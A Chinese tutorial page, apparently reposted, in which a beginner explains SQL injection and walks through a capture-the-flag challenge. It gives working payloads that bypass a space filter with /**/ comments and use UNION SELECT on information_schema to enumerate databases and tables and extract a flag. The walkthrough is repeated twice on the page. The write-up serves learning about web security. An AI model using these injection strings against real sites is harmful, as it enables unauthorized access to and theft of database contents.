欢迎来到入门教程网!

MsSql

当前位置:主页 > 数据库 > MsSql >

分享一个简单的sql注入

来源:本站原创|时间:2020-01-10|栏目:MsSql|点击:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击。

分别输入1,2,3有对应的结果

使用'会报错,于是

构造常用的sql语句:1' and '1'='1

没有反应试一试1' and '1'='2

还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试

1and1=1

可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格

试一试1'/**/and/**/'1'='1

发现有结果了:

于是构建sql语句:

判断有那些数据库:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到结果:

查看有哪些数据表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)

故:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么....

分别输入1,2,3有对应的结果

使用'会报错,于是

构造常用的sql语句:1' and '1'='1

没有反应试一试1' and '1'='2

还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试

1and1=1

可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格

试一试1'/**/and/**/'1'='1

发现有结果了:

于是构建sql语句:

判断有那些数据库:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到结果:

查看有哪些数据表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)

故:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

总结

以上所述是小编给大家介绍的一个简单的sql注入,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

上一篇:SQL Server ltrim(rtrim()) 去不掉空格的原因分析

栏    目:MsSql

下一篇:SQL SERVER 中构建执行动态SQL语句的方法

本文标题:分享一个简单的sql注入

本文地址:https://www.xiuzhanwang.com/a1/MsSql/10452.html

网页制作CMS教程网络编程软件编程脚本语言数据库服务器

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:835971066 | 邮箱:835971066#qq.com(#换成@)

Copyright © 2002-2020 脚本教程网 版权所有